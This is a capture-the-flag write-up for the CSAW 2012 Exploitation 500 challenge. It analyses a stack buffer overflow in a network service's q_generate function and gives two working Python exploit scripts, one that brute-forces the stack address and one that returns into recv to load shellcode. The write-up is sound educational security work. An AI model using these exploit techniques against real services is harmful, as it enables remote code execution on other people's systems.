CSAW 2012 – Exploitation 500
md5sum challenge1 a117e440939f099e26b79f0379656367 challenge1
$ file challenge1 challenge1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xc2a7a20947f2afeb24f04a53f3086e49bea61212, not stripped
The vulnerable function is labeled q_generate.
int __cdecl q_generate(int fd) { char buf_124[124]; // [sp+14h] [bp-4B4h]@1 char buf_1024[1024]; // [sp+90h] [bp-438h]@4 char buf_40[40]; // [sp+490h] [bp-38h]@4 int bytes_received; // [sp+4B8h] [bp-10h]@1 int v6; // [sp+4BCh] [bp-Ch]@1 v6 = 0; bytes_received = 0; send_question(fd, 1); bytes_received = recv(fd, buf_124, 124u, 0); null_terminate_string(buf_124, bytes_received); v6 = check_answer(buf_124); if ( v6 == 1 ) { win(fd); close(fd); exit(0); } lose(fd); send_question(fd, 2); bytes_received = recv(fd, buf_1024, 1024u, 0); null_terminate_string(buf_1024, bytes_received); memcpy(buf_40, buf_1024, 4 * ((unsigned int)bytes_received >> 2)); //*** Bufferoverflow here v6 = check_answer(buf_40); if ( v6 == 1 ) { win(fd); close(fd); exit(1); } return lose(fd); }
Small buffer buf_40 can be overflowed with the contents of buf_1024. There are no limitations to our input. The game logic is as follows:
- a question is asked
- give a wrong answer
- question is asked again
- again, give a wrong answer, but include the exploit code
- the answer is copied into the small buffer => overflow
Stack analysis of the function reveals that we have 60 bytes to send to overflow the EIP.
-000004B4 buf_124 db 124 dup(?) -00000438 buf_1024 db 1024 dup(?) -00000038 buf_40 db 40 dup(?) -00000010 bytes_received dd ? -0000000C var_C dd ? -00000008 var_8 dd ? -00000004 var_4 dd ? +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) +00000008 fd dd ?
To transfer control to our shellcode, we might do a jmp ESP. However, this ‘gagdet’ is not available in the binary.
I decided in the end to bruteforce the stack address, resulting in the following python code:
import socket, struct import time,sys def recv(socket, str): x = socket.recv(1024) while True: if x.find(str) != -1: break x += socket.recv(1024) return x def tryit(address): s = socket.create_connection((ip, service_port)) # shellcode buf = open("shellcode", "rb").read() # get question q = recv(s, "Answer: ") # send wrong answer s.send('A') # get lose message and question q = recv(s, "Answer: ") # sent wrong answer eip = struct.pack("<I", address) nopsled = '\x90' * (1024 - 60 - len(buf) - 4 - 4) s.send('B' * 60 + eip + nopsled + buf + 'FFFF' * 1) # get key x = s.recv(1024) x+= s.recv(1024) x+= s.recv(1024) x+= s.recv(1024) x+= s.recv(1024) x+= s.recv(1024) x+= s.recv(1024) if x != '': print "0x%X" % address, x sys.exit(0) eip = 0xc0000000 while True: print "0x%X" % eip tryit(eip) eip -= 800
This gave the key in 6 tries!
After reading some other writeups, I wanted to make this exploit reliable. Instead of using a hardcoded stack address, I used the .plt entry of recv.
import socket, struct import time,sys service_port = 12345 #ip = "128.238.66.213" ip = "192.168.1.3" def recv(socket, str): x = socket.recv(1024) while True: if x.find(str) != -1: break x += socket.recv(1024) return x def sploit(): s = socket.create_connection((ip, service_port)) # shellcode sc = open("shellcode", "rb").read() # get question q = recv(s, "Answer: ") # send wrong answer s.send('A') # get 2nd change q = recv(s, "Answer: ") # sent wrong answer/sploit/payload eip = struct.pack("<I", 0x08048760) # recv cont_address = struct.pack("I", 0x0804B000) recv_args = struct.pack("<I", 4) + struct.pack("I", 0x0804B000) + struct.pack("<I", len(sc)) + struct.pack("<I", 0) payload = 'B' * 60 + eip + cont_address + recv_args s.send(payload + 'FFFF' * 1) time.sleep(1) s.send(sc) # get key x = s.recv(1024) x+= s.recv(1024) x+= s.recv(1024) x+= s.recv(1024) x+= s.recv(1024) x+= s.recv(1024) x+= s.recv(1024) if x != '': print x sys.exit(0) sploit()
Leave a comment